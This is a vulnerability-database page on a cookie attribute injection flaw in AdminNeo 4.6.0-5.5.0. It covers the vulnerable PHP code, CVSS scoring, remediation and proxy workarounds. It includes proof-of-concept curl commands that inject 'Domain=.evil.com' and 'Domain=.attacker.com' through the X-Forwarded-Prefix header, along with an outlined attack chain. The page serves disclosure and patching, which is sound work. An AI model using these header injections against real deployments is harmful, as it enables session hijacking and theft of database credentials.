Skip to main content

AdminNeo CVE-2026-96631

HIGH
Improper Input Validation (CWE-20)
2026-10-30 https://github.com/adminneo-org/adminneo GHSA-79wv-8rh2-9vp2
8.2
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain header-influencing position via proxy/MITM
  2. Delivery
    Send request injecting cookie attributes in X-Forwarded-Prefix
  3. Exploit
    Unescaped REQUEST_URI widens Set-Cookie path/Domain
  4. Execution
    Victim browser leaks neo_sid and neo_key to attacker domain
  5. Impact
    Hijack session and decrypt stored DB credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Requires that the attacker can control the X-Forwarded-Prefix request header reaching AdminNeo - concretely: a fronting reverse proxy (Traefik PathPrefixStrip, nginx, or HAProxy) configured to forward the client-supplied header (e.g. fastcgi_param using $http_x_forwarded_prefix) rather than a static value, OR an attacker-controlled upstream proxy, OR a man-in-the-middle position. The injected payload uses a semicolon to append cookie directives (Domain, Path, Secure, SameSite). An authenticated victim must subsequently make a request so the tainted Set-Cookie headers are issued and the browser transmits neo_sid/neo_key to the attacker's domain (UI:R). Limiting factors: deployments where the proxy sets X-Forwarded-Prefix to a static trusted value are not exploitable; only AdminNeo 4.6.0 through 5.5.0 are affected (fixed in 5.5.1); and the attacker gains full value only against a logged-in user with stored database credentials.

Impact

Signals are mixed and point to a real but conditional, non-emergency issue. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) yields 8.2 (High) driven by network reach, no authentication, scope change (cookies cross from AdminNeo's origin into an attacker-controlled domain) and High confidentiality impact (theft of neo_sid session and neo_key credential-encryption cookies). However, that AC:L overstates ease: the description is explicit that exploitation requires the attacker to influence the X-Forwarded-Prefix header - via a reverse proxy that forwards the client-supplied header, an attacker-controlled upstream proxy, or a man-in-the-middle position - plus victim interaction (UI:R), so real-world triggering depends on deployment topology rather than being universally reachable (I independently assess AC:H for this reason). No EPSS score and no KEV listing are present in the input, so there is no evidence of mass or active exploitation; the vuln.today Decision label is 'this_week' (prioritize for patching this week), not act_now or emergency. The advisory does contain a concrete proof-of-concept (curl commands demonstrating injection of Domain=.evil.com), so exploitability is demonstrated even though no weaponized campaign is reported. Net: a legitimately High-severity flaw whose practical risk is gated by whether the fronting proxy passes the client X-Forwarded-Prefix header - high priority where that condition holds, lower where proxies set the prefix statically.

Exploit ScenarioDerived

AdminNeo is deployed behind a reverse proxy (Traefik/nginx/HAProxy) configured to forward the client-supplied X-Forwarded-Prefix header. An attacker sends a request with a header such as 'X-Forwarded-Prefix: /adminneo; Domain=.evil.com', which is concatenated into REQUEST_URI and interpolated unescaped into the path= attribute of every Set-Cookie header, widening cookie scope to the attacker's domain; the advisory includes working curl PoC commands demonstrating this. When the authenticated victim's browser then sends neo_sid and neo_key to the attacker, the attacker hijacks the session and decrypts stored database credentials.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 30, 2026

Cookie attribute injection in AdminNeo 4.6.0 through 5.5.0 lets an attacker who can influence the X-Forwarded-Prefix request header append arbitrary Domain, Path, Secure and SameSite directives to every Set-Cookie header AdminNeo emits, re-scoping the neo_sid session ID and the neo_key database-password encryption key to an attacker-controlled domain. Exploitation is conditional: the deployment must be one where a fronting reverse proxy (Traefik PathPrefixStrip, nginx or HAProxy) forwards the client-supplied header instead of a static trusted value, or the attacker must sit in an upstream-proxy or man-in-the-middle position, and a logged-in victim must subsequently issue requests so the tainted cookies reach the attacker (assessed CVSS 8.2, AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N). Public proof-of-concept curl request examples are included in the vendor advisory but have not been independently verified as working exploit code, and there is no CISA KEV entry; the vendor-released patch is version 5.5.1, referenced by the vuln.today decision label 'this_week'.

RemediationAI

Upgrade AdminNeo to 5.5.1 or later, which is the vendor-released patch containing commit aa6f2544a8a65cf5e8317f1a902f74181e136d64 and the new cookie_path() encoding of ';' and ',' in the cookie path; run composer require adminneo-org/adminneo:^5.5.1 and re-deploy the shipped admin/ directory, and refer to https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2 for the authoritative guidance. If the upgrade must be staged, the vendor-supported workaround is to stop forwarding the client header and have the proxy set a static, trusted value - for nginx use fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo instead of $http_x_forwarded_prefix, and for Traefik use a stripPrefix middleware rather than passing through the client header; the trade-off is that a hardcoded prefix no longer adapts to multiple or dynamically assigned sub-paths, so every distinct deployment path must be configured separately, and any path that still forwards the header remains exploitable. Because the patch encodes output but does not revoke cookies that were already issued with an attacker-chosen Domain, treat previously served instances as potentially compromised: terminate existing AdminNeo sessions and re-key or rotate the stored database credentials that neo_key protects.

Affected Packages

composer adminneo-org/adminneo fix: 5.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AdminNeo is a PHP/Composer database administration front end (package composer/adminneo-org/adminneo) derived from Adminer, and the flaw class is improper input validation (CWE-20) escalating to HTTP header/attribute injection (CWE-113). Two code paths in the shipped source create the defect: bootstrap.inc.php concatenates the raw $_SERVER['HTTP_X_FORWARDED_PREFIX'] value onto $_SERVER['REQUEST_URI'] without validating metacharacters, and functions.inc.php builds the Set-Cookie header by hand with header("Set-Cookie: ...") instead of setcookie()/setrawcookie(), interpolating that tainted REQUEST_URI directly into the path= attribute. Because semicolons delimit cookie attributes under RFC 6265 and were neither stripped nor percent-encoded, a value such as '/adminneo; Domain=.evil.com' turns into a second, browser-parsed Domain directive, and the same tainted REQUEST_URI is passed to session_set_cookie_params() so the PHP-managed session cookie inherits the injection. The X-Forwarded-Prefix header exists specifically to support sub-path reverse-proxy deployments, which is why the exposure is concentrated in exactly those topologies where proxies frequently forward the client value (e.g. an nginx fastcgi_param bound to $http_x_forwarded_prefix). The upstream fix in commit aa6f2544a8a65cf5e8317f1a902f74181e136d64 introduces a cookie_path() helper that strips query strings and percent-encodes ';' as %3B and ',' as %2C before the path is used, and routes both the manual Set-Cookie construction and session_set_cookie_params() through it.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
vuln.today AI 6.9 MEDIUM

AC:H because exploitation needs a proxy forwarding the client header or MITM position; PR:N and UI:R as no auth but victim request required; S:C and C:H for cross-domain theft of session/key cookies.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

DescriptionGitHub Advisory

Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

Vulnerable Code

Root cause 1 - Unsanitized header prepended to REQUEST_URI (admin/include/bootstrap.inc.php, lines 50-52):

php
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

Root cause 2 - Manual Set-Cookie header construction without escaping (admin/include/functions.inc.php, lines 416-424):

php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.

Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):

php
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.

Impact

  • Session hijacking: The neo_sid session cookie is sent to the attacker's domain, allowing full session takeover.
  • Credential theft: The neo_key cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
  • Session fixation: An attacker can inject arbitrary Path, SameSite, and Secure attributes, manipulating cookie behavior.
  • Wide applicability: The X-Forwarded-Prefix header was specifically added to support reverse proxy deployments (Traefik PathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

Affected Cookies

Proof of Concept

|Cookie|Content|Risk| |neo_sid|PHP session ID|Session hijacking| |neo_key|Encryption key for stored DB passwords|Credential theft| |neo_settings|User preferences|Low (information disclosure)|

shell
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request - inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...

Recommended Fix

  1. Sanitize X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the X-Forwarded-Prefix value before using it.
  2. Use setcookie() / setrawcookie(): Replace the manual header("Set-Cookie: ...") construction in cookie() with PHP's built-in setcookie() function, which properly escapes attribute values.
  3. Validate REQUEST_URI before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie path attribute (;, ,, whitespace per RFC 6265).
php
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}

Server Based Workaround Via Config

Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:

nginx
# nginx - secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;
# static value, not $http_x_forwarded_prefix
yaml
# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"

Technical POC Analysis

CWE-20 (Improper Input Validation), with a secondary CWE-113 (CRLF in HTTP headers) tag in the advisory.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

AdminNeo versions 4.6.0 through 5.5.0 contain a cookie attribute injection flaw that could allow an attacker to redirect session cookies to a domain they control, potentially compromising database credentials and administrative access. This affects organizations using AdminNeo behind certain reverse proxy configurations where client-supplied headers are trusted. Leadership should prioritize patching to prevent unauthorized access to sensitive systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

Prevalence
Low
niche Adminer fork; small deployment footprint versus mainstream admin tools
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)GitHub Advisory

pkg:composer/adminneo-org_adminneo

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy